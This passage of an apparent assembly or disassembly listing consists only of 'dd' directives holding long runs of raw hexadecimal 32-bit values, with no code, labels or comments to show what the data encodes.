0E8FA4A68h, 0E684C2Ch, 47B10FC4h, 51C91647h dd 99DC0B1Ch, 1CB8900Ch, 4D0B9325h, 6E51C0B0h, 8E24E791h dd 72818049h, 6C030514h, 5F9AF843h, 2406FD8h, 9DA57FBh dd 39D45108h, 0B020845Ch, 60F89E5Ch, 0DF81B391h, 26213ECCh dd 7AE2B709h, 2C66182Bh, 0AB2068B0h, 339B341Dh, 0F28CE291h dd 63E13022h, 9AF67901h, 57EE350Dh, 2210B5D9h, 27014B85h dd 1B58EA9Dh, 0F4E45E86h, 8A060318h, 66438062h, 9DBCA13Fh dd 0D1802EDEh, 0B2F7BF22h, 0F55B0453h, 80F66180h, 0C36DDC95h dd 4ED92891h, 0CB5EDC19h, 0D4F45C16h, 4D258C04h, 59D5EA00h dd 0C60F7423h, 0EECCF14Bh, 0DBE66166h, 6422F55Ah, 22F007Ch dd 0AFDC7E19h, 500F9E5h, 54937F40h, 2AEB89C9h, 0C4647Dh dd 9EFADFCh, 0DA78531Ch, 18A3Bh, 0E645A524h, 5D7BB1DDh dd 204FB028h, 0BEA444F4h, 5068DA00h, 9D41582Ch, 0BF7E0089h dd 4E9314D0h, 2224FB39h, 5E1154A3h, 8CCB2E80h, 0C4BE72E0h dd 262B58h, 0B8BA85CBh, 60C58115h, 19C99108h, 0E7E0046Ch dd 11E0F4FDh, 1B3FDC99h, 0E2E6EDCFh, 0E5EC91F1h, 4AE84C8Eh dd 0E911A3E3h, 2CFA8801h, 0A9C0FFFBh, 0FF71D460h, 0B3F42609h dd 52A5D81Dh, 74960004h, 2992A048h, 0B1C297D1h, 2BAEDEFh dd 685944BEh, 70183479h, 9C423Eh, 4C39E65Dh, 9F1BF56h dd 74812206h, 0A6C21405h, 4F64B164h, 66E4F8C3h, 13815F3Dh dd 23FC3AF0h, 0FC540026h, 183201A0h, 0B2701104h, 3CE039C5h dd 0FC6E4C2Dh, 28C058C8h, 43E08ACBh, 20258222h, 0D3D080CBh dd 3F4CD0FCh, 56025529h, 40E76987h, 0C56BD8C8h, 0EFCA1300h dd 0E1DC1D3Fh, 5C15484Fh, 0D8335302h, 0C88461D5h, 0FA0A82C8h dd 4D71CCD1h, 0EA68EC19h, 540C8200h, 7CC88E2Fh, 0D1B8B16Fh dd 27D186Ch, 5EE16E19h, 0B89773DDh, 0D3802591h, 573BA23h dd 465CD896h, 0FE74016Ch, 0DBECBDD0h, 6117F468h, 0E4B88890h dd 5E20A320h, 6F6C202Eh, 0C400431Ah, 0F06C3363h, 2DE2B26h dd 6673BBB0h, 8C788D96h, 84E8E101h, 7E50FBD6h, 806579A5h dd 0D06795E4h, 0FCC6C1Eh, 3E161675h, 0DD16CFE7h, 2FB66CC2h dd 0A30718C0h, 0F9022161h, 7CE796E2h, 66EA40C2h, 926CA394h dd 40CC54EEh, 7568058Bh, 0E9B7E10Bh, 84BCA9B5h, 126F0DB0h dd 1C05C74Dh, 0EC81737Ch, 51006B55h, 1F13B2A8h, 6CCF8FC3h dd 37C03388h, 2CAAB63h, 91563ACCh, 58D039C1h, 0F306612h dd 89691044h, 0B9556CC1h, 0C0E99444h, 0DBEED3B8h, 24CA062Ch dd 20BF9909h, 92595508h, 278F309Ch, 2335110h, 7ED14099h dd 0C002318h, 0E2F29AE7h, 25A86E89h, 0C0297E1Fh, 910C3872h dd 0E86D7129h, 0E5E2040h, 0DB01E509h, 0C240CDA8h, 0A082FF68h dd 0E200428Dh, 9C0C93FDh, 79465E3Ch, 635B7D09h, 303C728Ah dd 0FDCD6569h, 7C1F614Ah, 0D08B00A2h, 65944BF2h, 0AE13E415h dd 7C8001FFh, 50BF61F9h, 8C3CD877h, 57AA8804h, 2062F891h dd 0AAF05520h, 8FF400A9h, 0A21CEE1h, 1150FFE0h, 93137CC9h dd 0BC2FC204h, 0AF003323h, 38864A1Eh, 3DF725FDh, 98510462h dd 0A43DFFC3h, 0B204F225h, 30FE3020h, 9242FD07h, 0FCC2143Eh dd 8CABB5h, 87D44678h, 0DF9C2447h, 2C97A744h, 44806E91h dd 0AD14C140h, 6CC76113h, 5A0C8h, 81C0AFE1h, 87F2E090h dd 0D610271Ch, 94068CD7h, 0E781A1Bh, 902C998Bh, 8EB53A45h dd 0C3348868h, 7DE0C681h, 122659BDh, 0E401BD44h, 69A3B8ADh dd 40EF1820h, 3301C98Eh, 6610B2FDh, 6434B488h, 9962447Ch dd 0AECEC800h, 0F3AFFAF4h, 94340492h, 0FC18A5DBh, 30F6B998h dd 0BB2EFA15h, 0BC206FEBh, 5F2D26ECh, 0F1E8327Ah, 186259DCh dd 0C5E51223h, 0DA68C0D9h, 9518F813h, 0D8107A19h, 1FEB29E9h dd 186AF1ECh, 0A835007Ah, 0A143275Ch, 61258FF8h, 0E2249B8Bh dd 0B1260735h, 0C0E5C9F5h, 0F11D18B7h, 56498B28h, 0F9A45160h dd 27184Ch, 312E0289h, 0C5CF1A65h, 6834485Ah, 37AC28ECh dd 396A008Ch, 4BBDE53Dh, 5E19828Ah, 0BBF96040h, 4C951480h dd 7C2F92EFh, 3A012A00h, 0FC51DFEBh, 20709844h, 80DE4555h dd 72A9310Fh, 0FBCAE0E4h, 23D83A05h, 35D90027h, 0CF3D1B78h dd 0F42F414Ah, 0AB027F23h, 0F039CF0Ah, 169C9494h, 0C47889E3h dd 2800A5E9h, 0D95AB7A9h, 0E272C7h, 0F616410Dh, 0D3966959h dd 0C9F4F71Ch, 0FB40739Ch, 0E6FAA4F1h, 4571250Ch, 0E91DB837h dd 6C89C741h, 0BDF4E2C4h, 974C9075h, 0B1911C17h, 3D7AE083h dd 32D5A4D0h, 0EF885CBCh, 9661041Ch, 0D9064041h, 0B498A2DBh dd 119360D8h, 5B845F69h, 23E02E73h, 0BFA60023h, 0D98DE755h dd 0E5B95703h, 26F75CDh, 7EC4690h, 0E8D9B324h, 57186AD1h dd 0E41AE500h, 44EF228Ah, 2CADF642h, 8B801D01h, 0E4456479h dd 2B8A188h, 0BAB5EFE0h, 0FC9D30CDh, 0C88E4656h, 3FC021C8h dd 4FF0127h, 0E9DDA35Bh, 0E508D0ABh, 4C9AD1ADh, 0C020C45Ah dd 5479C55Bh, 972D86Ch, 68339566h, 4C6490E7h, 6DEC4067h dd 400F33F0h, 69CE3217h, 0E0F88DA0h, 0D4D244E1h, 0BE04F498h dd 9BD0E984h, 0CE14B4h, 0A8BB50E1h, 0F7970AECh, 8060663Fh dd 1BAC150Ch, 186712DDh, 0D9EBF156h, 32D99DAh, 50902813h dd 0A1C9441Bh, 0F2E4FECh, 0E2B39B04h, 66550AD8h, 404F8892h dd 0C1D68D9Eh, 0F0BE518Eh, 3A471993h, 2342314h, 71535B4Dh dd 0DD1C3D74h, 0E89E84C9h, 0B7FAF78h, 7C01399Bh, 7D050868h dd 8EA2B000h, 0BF4CC882h, 0F2FF0EBAh, 85A0F623h, 6B699966h dd 9D54F102h, 6295D9C9h, 44E86794h, 0E00A637Fh, 7C460F9Dh dd 50734916h, 331D08B8h, 30C19CCEh, 73D5E7E1h, 0FBACC439h dd 37CA4B00h, 0F91013A7h, 59D8C093h, 0EFB60AF2h, 0A66B2D40h dd 25CC00A0h, 0DDD35A66h dd 89CC3E1h, 0B8E35112h, 9988E207h, 0CFF9CC7Dh, 17E10D00h dd 0F75E7677h, 289B5035h, 0BE910BABh, 0B00BDDDAh, 4800E459h dd 0F1FD42C5h, 940100A6h, 99112D55h, 0C109BBA5h, 72C01FCBh dd 28F602ACh, 7A5D3766h, 681D80ABh, 66809511h, 0B374B4ECh dd 45F1C109h, 0A9046840h, 0C99900A7h, 0ED1A140Ch, 0CC002410h dd 2C6F8FF6h, 0BBB373h, 9EF14497h, 0BE5AFF3Bh, 9C00E8EEh dd 1AD6757Ah, 0E04CD4F5h, 5CD89471h, 0C092446h, 7C8281B4h dd 1F01BD19h, 0A44C7011h, 7AFA0079h, 54BDA79Eh, 0CCA321B8h dd 6CEAC0AAh, 0EE7830D3h, 907F05C7h, 0A8F52993h, 6540131Ch dd 79B9CA4h, 75C368ADh, 1242A035h, 0E09CAFDAh, 562465Eh dd 40F6F3D2h, 0E10CBC30h, 42690070h, 6C67CCB2h, 96036313h dd 94026E09h, 7B97E841h, 0B762E01Ch, 9D243890h, 0FD313E00h dd 22102FC2h, 0F87800E8h, 0B29C67ECh, 0DB12E645h, 8E41451h dd 0E8B445F6h, 7039B2FBh, 0AB6F80E2h, 6C191EFCh, 0B7E804CDh dd 907D7CF5h, 9A9FB23Ch, 7004EE76h, 0BC10418Fh, 515F70C0h dd 5C34E86Ch, 26E89892h, 9A61058Ch, 4C614C2h, 485CC5BCh dd 0ECAE807Ah, 6413C4A7h, 0CF244601h, 0CC169CABh, 0BEC2842Ch dd 48598981h, 0C338EDA7h, 83C82262h, 9807A6ABh, 9356C54Ah dd 0D8F440F4h, 0CEC61DBFh, 4E3400B0h, 0C1C5E5C8h, 172E18BAh dd 61112068h, 10DB6274h, 630104C5h, 0B9E1FBD8h, 0C8AB00FEh dd 0A12C8B61h, 0B1421065h, 0F878401Eh, 1BDD2FC5h, 1F07DC48h dd 203AC881h, 7BADC1F0h, 0A7FDE280h, 601A44C0h, 5BC808B7h dd 0A8C4801Dh, 197159Eh, 45607708h, 306E7Eh, 87239E83h dd 53EC9EFh, 95FBB780h, 0C48C53E1h, 0B054B6D0h, 3F1EAF5h dd 0ADF843E4h, 502D7C3Dh, 11C378Fh, 9480EBFFh, 39F7C097h dd 7C0160B0h, 0FE660F33h, 0FC6C4460h, 2C8C1AECh, 112C6E24h dd 0EE3600BDh, 692E38CFh, 3E635A2Ch, 7E2378h, 0B0C72667h dd 0A0A4EBB7h, 8ECD1C00h, 44CA3D3Ah, 55FF12E0h, 3490364Bh dd 0FC09AA5Ah, 91949F79h, 8143804Ah, 1DA0223h, 747AF76Fh dd 39054DD9h, 0F87BAC80h, 32B003E0h, 14292A2Eh, 59A8B6E0h dd 27CCF059h, 11B01FFAh, 615A8095h, 989CECFh, 5D1D0BAEh dd 620084FAh, 40F3DB6h, 2F9A6AAh, 0B46C988Ch, 246003E5h dd 55803C3Fh, 75101733h, 951CE47Ch, 2F0BA41h, 4C8315E7h dd 3172E893h, 9B6142E9h, 0F508241Ch, 0FB46E200h, 396F2B5Fh dd 962F0298h, 37D80C9h, 649138DEh, 0EC6C4F00h, 0AAF785ABh dd 45290500h, 1E878252h, 8004B9DAh, 0F16F932Dh, 0B701CEE5h dd 11908256h, 0DC689D61h, 952DB0D8h, 95C1D780h, 71EB0A0h dd 0E20C4C2Eh, 0C1DA1FF6h, 56CB0047h, 35AFC769h, 512DC46Ah dd 0A62C03DCh, 61A00917h, 820B795h, 909856E1h, 40B4ECF8h dd 0D4EFF481h, 322A9493h, 58C44344h, 0DD602499h, 7A852280h dd 20010EEBh, 0B22CD991h, 545CF638h, 63DD10B8h, 306FCC51h dd 0C5B21088h, 541C194Bh, 0C81028D3h, 0C21060F3h, 0C32DA051h dd 0C31FB698h, 8800B7C3h, 64BC0456h, 12CE3DC1h, 0D1626A0Dh dd 944AC38h, 22AC282Ch, 15D5008Ch, 0D43B1011h, 8C5F7386h dd 0D44963BCh, 0D9EC1605h, 0B240E348h, 7E193025h, 0DC626E28h dd 1B39C322h, 29153D66h, 0E70530D1h, 0E7E47004h, 0B6249981h dd 13BCA190h, 0B0730AC4h, 0B36A0931h, 0D8C195ADh, 0B7C292Fh dd 0E8F0D016h, 66983Ch, 0C19DCEEDh, 0C68ECC41h, 4EF3A10Ah dd 9908B802h, 5F716261h, 56087412h, 6D281A46h, 0E26E4484h dd 0CB979F4h, 27450700h, 924D298Bh, 0E0069728h, 17B5B995h dd 80B191DCh, 0E7BA0102h, 0B1A54A9Dh, 0BC7C2C6Ch, 4C078C4Ah dd 2EF1E386h, 6F11C080h, 81E807E1h, 0E0EBA3D2h, 0B3AEE454h dd 9A2C8A7Bh, 4674F072h, 5E94002Dh, 256D1D4h, 0B8BD00C1h dd 3016DA5Bh, 0BB391A0Ah, 0E02FCFEBh, 1C004D23h, 97C70D66h dd 6C645CD1h, 675110h, 3AB2251Eh, 0B7A4DBFAh, 0A800D8B7h dd 73E87955h, 0BEB7000Ah, 0E9DC38ACh, 0F0B922D3h, 0C024CD2Dh dd 7BDA203Eh, 0BC27C700h, 4818744Fh, 0C19C1387h, 8B345605h dd 0C00DC84Ch, 8DF6B8Dh, 5344F001h, 26F6F39Eh, 9C6CFAD1h dd 748C4FB8h, 0CF260972h, 70107F3Dh, 39027E5Eh, 944F3B85h dd 0B9F060F3h, 0E66F80A5h, 0B4132090h, 0C002E129h, 9642131h dd 6D7F040Fh, 0FA5528A0h, 7D54D1C5h, 61D765D8h, 1F91D081h dd 1997E44Dh, 0C8C0CBB6h, 0C1B0C027h, 0C49511A3h, 529300C0h dd 0CDF80B81h, 0AC0BF36Ah, 0D2336680h, 0E46E0B1Ch, 6C0265F1h dd 0E05436EFh, 0DC57B07h, 12D8983Ch, 125E0BE1h, 0F734B204h dd 14CAD8h, 46D79782h, 0A94F2993h, 52530809h, 5E209454h dd 40009746h, 742D23B5h, 7F0046A2h, 61FFABDh, 97E8B616h dd 0B191B017h, 0F7C36A82h, 24213865h, 0CC194851h, 0E4A0F308h dd 40009DDEh, 0BCE53B4Ch, 0E9CE6FCh, 9745D76Ah, 33C8B10Ah dd 90A47CEAh, 0C6A4260Ch, 4410D1Ch, 0B05FFE80h, 22BBA34h dd 0E7B7E9C1h, 1C000E7Fh, 9A778Ah, 65C46CCEh, 7CCDDFA5h dd 3D24FB75h, 42602C6Eh, 5AA490D0h, 6750D0F6h, 0C0E51DBh dd 7E0D8E9h, 84401CE8h, 233F67Fh, 0A97B434Ah, 98D195E7h dd 0D0183279h, 0FB28640Fh, 0F250A01Eh, 4827B45Dh, 2922433h dd 91E68CC0h, 5A09AC40h, 0C379D81h, 0C8848A4Ah, 7B7CA33h dd 607A46F0h, 516CCF61h, 0B004C73h, 0A3CC533Ah, 1F9957h dd 598DE737h, 73DD51E1h, 0F51D353Ch, 6E88B367h, 0D67453C0h dd 24E27CF5h, 0A7FC4D0Dh, 595DACE0h, 42D9B1C8h, 0CCA37843h dd 0CEB0A709h, 37E4EBBCh, 1033D91Ch, 0F12841D8h, 0C21F2C56h dd 821761A4h, 57F60296h, 1B76FCA0h, 6D1DDE27h, 9F80A44Dh dd 0FDD944B2h, 4FD70098h, 92D4E1A0h, 626745C9h, 0E8DE5359h dd 3380BE6Bh, 0F4FEF7D8h, 0B904F272h, 6F85D748h, 0FC5340CDh dd 0E5110457h, 8A6FD9CDh, 5DF872FCh, 4A4477F7h, 7C23A82Fh dd 0E503FF24h, 3C639DC5h, 5AD4650h, 0E460184Dh, 14187513h dd 0C49CA298h, 6504F4D3h, 0A5A5DF3Ch, 0EEE8453Ch, 66C280B1h dd 124EC674h, 35C5E816h, 0F250E2B0h, 0B9C53062h, 0C043490Fh dd 5319CB2Bh, 4EA97340h, 208BD840h, 0C503D012h, 801EF00Fh dd 0DA6E43B9h, 3CAB9DE9h, 6A751402h, 0C7DDE402h, 6023642Ch dd 1ED7D22h, 11ABA6B3h, 269C8E0Dh, 307CB2D4h, 61266521h dd 0C149AC95h, 0D4429984h, 8FE32067h, 0FE0114CAh, 366546B0h dd 55D26FD0h, 0E6F14C82h, 207954F9h, 4B00CB18h, 7FF6BD1Ah dd 94307BDEh, 0D50A6E8h, 59D86A5Dh, 1CDB2BF4h, 0C9F23D80h dd 9A157061h, 7807B7Dh, 0C26D311Ch, 0FAEFAC70h, 0E6ED1C2Eh dd 0DD3D8214h, 20EAE120h, 27113C1Dh, 44CC2380h, 0F4B1B93Bh dd 545A0E01h, 0C2045D0h, 7D021856h, 61359160h, 0D5727C00h dd 5DD089ABh, 82149B50h, 3619C5FBh, 0AB024454h, 90818A61h dd 3A9CE8DCh, 23CB2BD5h, 21EB8980h, 0C0AAB48Fh, 0F473D044h dd 0BB4CE52h, 2B122E1Fh, 67206DD4h, 551D7089h, 0C5203191h dd 0B86A0F63h, 287959F1h, 0B8B428FAh, 0D9B08CB0h, 99EFE00Ch dd 793C842h, 9DF4CE05h, 0BC119BA8h, 34C82EB6h, 0EB4601DDh dd 77A4917Dh, 0BCF0282Ah, 0BB008C4Ah, 100D9644h, 25B99028h dd 0A8FAD81Fh, 79674030h, 111B2Dh, 709FC21h, 0AC297C13h dd 12D3FE58h, 90A87BCDh, 488C4CECh, 6F13B5EEh, 0EFE00263h dd 80A2BBD9h, 0B0A11511h dd 0F42EF1C9h, 53F79BF8h, 0B4883A84h, 44002065h, 375E2367h dd 0A007E5CEh, 28ADFBC0h, 0BD4C7975h, 0F07EC37h, 0C2C03963h dd 9D9DBF9h, 4FE0E8E9h, 6A444847h, 0AEBD7660h, 3F4C5202h dd 5EF8DDABh, 1CFB0020h, 268599CDh, 18D0F14Ah, 6A86F529h dd 0A84CE71h, 4B687C15h, 320010B7h, 42B39DA7h, 53290945h dd 847451ADh, 0CB80F545h, 14221979h, 0BA33FE8Fh, 10C25505h dd 0D3ECE989h, 25C8348Ah, 0E012FFC2h, 1C35777Ch, 0A88AB1D8h dd 11D880A8h, 0BA46800Bh, 91781795h, 9BD28169h, 357A8CF7h dd 83DCA8E4h, 0E001FB25h, 12631D2h, 4B03D334h, 0D4EB68FDh dd 0B713ACDEh, 54C26F9Bh, 80FC56F6h, 0B587E888h, 7CA57E0Ah dd 0B36020E4h, 0A7E69922h, 0E2466102h, 5C4AA5CFh, 802CD9F8h dd 58DC7481h, 9EA1CDF8h, 0B1DA05A8h, 7AB48543h, 0A1D70044h dd 1EC99F97h, 0D10D040Fh, 0B944E433h, 40510884h, 9D24393Ah dd 4C625FEh, 0B24E3843h, 3048B220h, 4C0F1958h, 221A21Bh dd 82E56CD2h, 935D88h, 0AB43298Bh, 0E44C264Fh, 18DC414Fh dd 982AA3B1h, 22BD879Bh, 2E6EDDC4h, 0A209EF02h, 248384DAh dd 0DB47B125h, 0F2057094h, 0A310EC18h, 9CA02DA8h, 985A85B0h dd 0A6F4533Bh, 9CB4E424h, 0CFF50030h, 1E61F6AEh, 0E12599E9h dd 6B78254Fh, 0E46D3CC0h, 813A5B17h, 44DF1FF4h, 0C1C0AC6Ch dd 6EA5102Ah, 59FA9C34h, 0D8BD74E3h, 0FB606E86h, 0CA895FE8h dd 32660B40h, 0E447473Ch, 1D612164h, 0DE3BE0DFh, 51DBC504h dd 44AF14F8h, 130181B4h, 46EF90C0h, 9E2602FBh, 2B1F9C5Bh dd 40AEFCA2h, 0F1581A00h, 28930061h, 33352FAAh, 0CF2E174Ch dd 0EB006D32h, 5489BD8Ch, 1C1E6687h, 0E6600877h, 0BD850D21h dd 0EF58C080h, 0D8D7CF8Fh, 54B2B000h, 0BE0C2C12h, 3C1501EAh dd 0B37FFA9Dh, 52CB0036h, 24F20E53h, 0CFAF46BCh, 4C083EACh dd 4B7321C1h, 76214DF2h, 0D0048103h, 76C60B8h, 16D1431Fh dd 4C50836Bh, 410610EEh, 40B507B0h, 27F0741h, 40E85C19h dd 0A985BF91h, 0D0389203h, 3ACB35B4h, 891D98C0h, 4E11B0E2h dd 5901F62Ah, 0FE5747B8h, 8980FAFh, 22752143h, 723EF607h dd 0A0F1BEC7h, 0BAC046E1h, 83E0C88Eh, 28F257C0h, 226646BCh dd 77754Fh, 4555B1F2h, 133A1B08h, 0CE18E776h, 0CA713BE3h dd 980903E2h, 0A7FC79B1h, 0BCCE27E8h, 37B3F01Fh, 99C4E640h dd 30DB11F1h, 3258FFB8h, 7906BFB9h, 0A35A6FFBh, 2854698h dd 0BC2AF259h, 10473176h, 7F25179h, 0B48314BAh, 350EC05Ch dd 5701E856h, 4A38DF5Bh, 0B9E4E7B8h, 31AA0176h, 0D080BA43h dd 81C4471Ah, 40E5D4AFh, 84CB998Ch, 2504B0ACh, 1FB854F6h dd 70204662h, 0FD7F61Dh, 0FB113AEEh, 0BC460C3h, 0C1B580Dh dd 98F3282Fh, 5C5120h, 0BA599FE9h, 13A19711h, 116F03Dh dd 0C8CB108Fh, 0B0814063h, 1B1D2F64h, 1A9050FDh, 8D388E89h dd 36EF8683h, 6008737Bh, 813C6115h, 8D006C8Eh, 0D0C0279h dd 185BE503h, 0D8ED40AFh, 3B0DCBDFh, 10EE3487h, 0F2BE7040h dd 0C3D4813h, 58DC7810h, 7D42062Dh, 7CE0CE17h, 9C9216h dd 63DACF1Dh, 0F812EF61h, 0E500D0FEh, 0D12718BBh, 30F05704h dd 58C03DF3h, 39C0D217h, 6EE7ED20h, 5257CECh, 0E30B813Eh dd 4CA04042h, 0BA7560F0h, 8200A0F4h, 26F5D833h, 3E9C9EDDh dd 1CA4786Dh, 0D7166380h, 86B35900h, 69E48B0Ch, 1C4800D8h dd 4C9560A3h, 0B7004501h, 0EEBDBE2Ah, 0EFCC5Ah, 0FE1B8C57h dd 17D480B9h, 2098D0A1h, 33263644h, 91C02051h, 46548EBDh dd 0E422AFh, 0BBD8A12h, 0DD14C8F6h, 8141DC14h, 58B70650h dd 246007C0h, 1128D25Dh, 0F6248083h, 8C17B853h, 1C6F4744h dd 80C9F61Ch, 22D184F7h, 0F328B7FDh, 5248AC47h, 8C45E850h dd 8CDBE638h, 193DE3C6h, 68E077h, 15F1F843h, 0CD6B49C2h dd 8060C139h, 0A1B498F0h, 390725A7h, 3035BADBh, 1E4C0838h dd 898E8AC3h, 1F0E8B83h, 68C0823Dh, 605DC3FBh, 88580297h dd 3FB65CF1h, 33368FE1h, 0E294426Ch, 206D3142h, 0EDBCE4h dd 0A2FBBB5h, 5D7BEFCEh, 8350998h, 0C118348Fh, 0A404BB60h dd 0CE0CB7BEh, 0E08084D0h, 2840CF13h, 0B6DA33E1h, 21785223h dd 118E8D30h, 88A38391h, 85408713h, 9F87B08Eh, 0CA48A4CDh dd 6BF90048h, 4BF054E1h, 4498DE52h, 0C46110C4h, 5060C254h dd 11BD9030h, 88A7548Dh, 891180E0h, 930FA9BDh, 0D1B0091Bh dd 0C1B87419h, 8EC1DA9h, 2C608C3Ch, 8C20C88Eh, 90118C7Bh dd 11889B83h, 8E843F80h, 5471CC8h, 0A0975C4Ah, 5A980BD1h dd 60841C24h, 2129F258h, 78C06EBCh, 0A0F250h, 0D4AF47Eh dd 16CDD8D5h, 0CC038809h, 31D8A0B8h, 0C61C8B4h, 372E7015h dd 0B5760988h, 94483368h, 0C4944A11h, 7754870Ah, 40E8C494h dd 30BD830Bh, 0B38C002Ah, 1A804BF7h, 0BC3A49F4h, 0D0E331B7h dd 30523F18h, 0BD8B304Bh, 7F548813h, 0C0438h, 5C3EBD84h dd 0E0BCB1EAh, 3B7E4111h, 29D31718h, 63A6E1Ch, 0ACEF0522h dd 0A0088BBAh, 0F254C080h, 4E46BC25h, 4C748877h, 0FF00F272h dd 0D00C6104h, 78DDA40Fh, 38D8A81Bh, 1E2E04DCh, 0C101E6D4h dd 63DAF7E9h, 0B06002B0h, 0C30FEFA1h, 0CEC0FCFCh, 90066880h dd 7FF90A7Ch, 88E6A4h, 34B1B0EAh, 0C1C2D518h, 0D8F4FD51h dd 0F8A0450h, 0C2BABE64h, 29308844h, 0B85811F6h, 8048883Fh dd 1CF62174h, 230389F0h, 1BD38699h, 0A5C10E0Eh, 36203B08h dd 6DA2160Ah, 0D2002675h, 31F058CFh, 420DB99h, 70EC7B2Ah dd 9B18814Dh, 0B77C243Ah, 749086Bh, 7F45C130h, 0EEE888h dd 84A1A0FDh, 499FE8CAh, 3408C091h, 20954B44h, 2580E891h dd 0E634D050h, 0ACA06100h, 0B9994B17h, 0C3C117C5h, 7CC020E2h dd 0B3E2EF14h, 0E6339500h, 9884E8DEh, 8D640146h, 457A8AB8h dd 6740FE1Ah, 0E8911718h, 31CC3500h, 1B5C968Dh, 0D0E82CB7h dd 0F8BE29C0h, 42D104B1h, 6217A918h, 7C435088h, 8330B7BDh dd 60588047h, 18A49A90h, 39647B41h, 91C0DB16h, 441C7353h dd 391A162Fh, 811B00AAh, 7AC69AB6h, 80F81858h, 0DCD6CED9h dd 0E34A18B4h, 834C493Fh, 0D8E9BC07h, 0B050C4F3h, 3E7F1F01h dd 1301DFA8h, 0FA194C8Dh, 5A40D03Fh, 7A8BB000h, 86319854h dd 2EB14409h, 59942B02h, 61245690h, 3019226Ch, 83269247h dd 16C46CABh, 8E864140h, 7F07AEF4h, 0F5C71202h, 26856270h dd 47EF17FFh, 6FC0123Ch, 2DA60298h, 441C9571h, 0CF0D09CCh dd 6280F168h, 31992844h, 0EC41B324h, 439E6D80h, 0D9A602h dd 7A931D18h, 9F372C24h, 0C0548005h, 0A8D35077h, 4FD0C085h dd 8D11C363h, 5A05DAB4h, 7FF0F2CBh, 0B385A60Eh, 0E123643Ah dd 11B66603h, 0B421E5E5h, 14C3C0DAh, 0CB209C9h, 5FC85406h dd 4C07885Ch, 5AD374EDh, 7FC02961h, 0AC64DAF9h, 608500BDh dd 58E46BEDh, 1C302BBFh, 0D722510Eh, 0EB7D0048h, 0B82ABEF0h dd 6500101Dh, 0BDE34DC5h, 0A5BAE61h, 0CDBB0963h, 7F4F6FFCh dd 8CB76682h, 9201D851h, 5890B423h, 8B03E821h, 8402BDD3h dd 0CAF4E483h, 8D4E4084h, 38E32413h, 1546741Ch, 312D2Eh dd 7A686008h, 825C4250h, 0A409DEFCh, 7FC4C2Ah, 77953F1Ch dd 504727D8h, 0A3A6419Ah, 44947A01h, 4EA5F367h, 192FFFCCh dd 401DA488h, 0D473C2h, 8A8B97BDh, 7F96022h, 9E185CBCh dd 83C0A3C8h, 878009E5h, 0F62804B0h, 37B85713h, 73C438h dd 519BF620h, 0B6AEA177h dd 5C481D58h, 2F4B80D8h, 517CF59Fh, 8C36946Fh, 6AA2E5F0h dd 59ADD601h, 0F0B4AFBCh, 612ED840h, 40144DA4h, 680FEB3Fh dd 46D3A22Fh, 29DCC048h, 0F92B9F02h, 885638B4h, 465C44E0h dd 0D13405E5h, 0FCC5118Dh, 80E44903h, 0B4500A5Eh, 17D4025Fh dd 579C201Ah, 0D032B8B0h, 719C90DEh, 18497190h, 0DA5A07E2h dd 0F05D89EFh, 0B7B3DC60h, 0FF1548B1h, 513D06B4h, 5C38FB38h dd 48BC089Ch, 6B10008Ch, 0EFEE861Eh, 0C9A51FBh, 0FC68BA14h dd 1CB783B0h, 0B0780CD2h, 3D7133AEh, 503ED508h, 5A40A3A7h dd 95F77AC0h, 67020AECh, 19F04F05h, 78B04312h, 315662E0h dd 54720D1Bh, 25467600h, 69CE9B38h, 47DB1F92h, 6CEBC019h dd 602613CFh, 31311C30h, 0B230E425h, 0B89228D4h, 8C9D230h dd 0B444B04Ch, 0BBD38A4h, 0FC7F8FF2h, 4E443A03h, 0FA2C403Fh dd 4A4CAEECh, 51429E6Ch, 81037488h, 0F897BF98h, 808CD455h dd 650D58FDh, 71EA9C00h, 1DB47AD4h, 322CCAF8h, 4674C4F9h dd 0E159004Ah, 0B11222BDh, 0EA94C23h, 602B5602h, 0C841A6BBh dd 55C85881h, 0BC26F208h, 4E4DC456h, 0DDF2A075h, 183D3E0h dd 0D9BFF758h, 42FEF6C1h, 0F49990C4h, 0F2C4197Eh, 3EBC2923h dd 4A72402Ch, 397EE6F2h, 3DC6D000h, 0F0565411h, 336496B7h dd 28D483Ch, 3FC8CAB0h, 8513BC58h, 0C841F0ECh, 52FEBC1Bh dd 80F04C66h, 0E3306C48h, 0CB98393Ch, 4B8AC85h, 0B855F626h dd 20496227h, 0AEF61E71h, 6BDF3500h, 0B87451C6h, 0C82F67AAh dd 0E00B48A7h, 0A140809Fh, 3C636Eh, 0F231A0DEh, 0E8DA8FF8h dd 8211E49Ch, 52F62380h, 0B8B90FB8h, 0F61B6EC0h, 0B0587146h dd 5AB8B0EEh, 8BE46427h, 0C04988DCh, 0A75175DBh, 3DAAC100h dd 523E4D42h, 0B4848244h, 6A804306h, 30CED0A6h, 0D65104D1h dd 0C0A97675h, 81428E10h, 2A5982F9h, 0C6FE1B8Dh, 3B751E00h dd 8FA0000Bh, 9DAE2660h, 4F791C91h, 29008418h, 5ACDC57Ch dd 0B38771Fh, 18E41D17h, 0AF6C821h, 53C8E02Dh, 0BE2D1492h dd 82D409F1h, 0E3FE0E8h, 95932BDh, 0C6313140h, 49C7C303h dd 0F53E9345h, 884DE0A7h, 7600A7ACh, 6AB8ED37h, 7F7B999Eh dd 142DEB0Eh, 8DC04DC8h, 46548ABDh, 0E2228Fh, 0C5BD860Eh dd 0DFB2F092h, 8941CB14h, 7F8E80E8h, 0C040E36Eh, 7E589311h dd 40089CCh, 9929870Dh, 1C94C4E6h, 0C445E306h, 0B26A192Dh dd 334BF2BCh, 0A0B57E80h, 70B3B802h, 40F8A391h, 823EDF80h dd 0B28A7880h, 201FADEFh, 4E055B6Fh, 0BC03FC86h, 0BFD51CF1h dd 0A3E50981h, 3444DEh, 0E78093ADh, 0A877EE9Eh, 8B091D09h dd 94741875h, 219B2489h, 0D124293Ch, 0E4A81846h, 0B947A1Bh dd 0D017BB8Bh, 4B11581Dh, 0BDB2E980h, 0C439E2E0h, 5C6C1383h dd 0DC2A3CC0h, 2FA34F5Ah, 1F4A236Ch, 8EEB82C4h, 2C518AD4h dd 0C1181179h, 0A9FFB604h, 28A28542h, 1A146808h, 4CD65B1Dh dd 9A8E4C6h, 0CCB48242h, 4C3724A9h, 0F8307512h, 7E955ADh dd 7B8E31F7h, 8D1CB005h, 0EC352AA8h, 9C81A901h, 4E0163CCh dd 0B26033F4h, 0A7F304Ah, 0BF922900h, 54740482h, 0C070424h dd 0F3E7B509h, 33E1E2F4h, 2B0D2380h, 3C98CC2Ch, 0D3BF3180h dd 5A8088B8h, 0D8F06115h, 0F428092Fh, 8C0FACh, 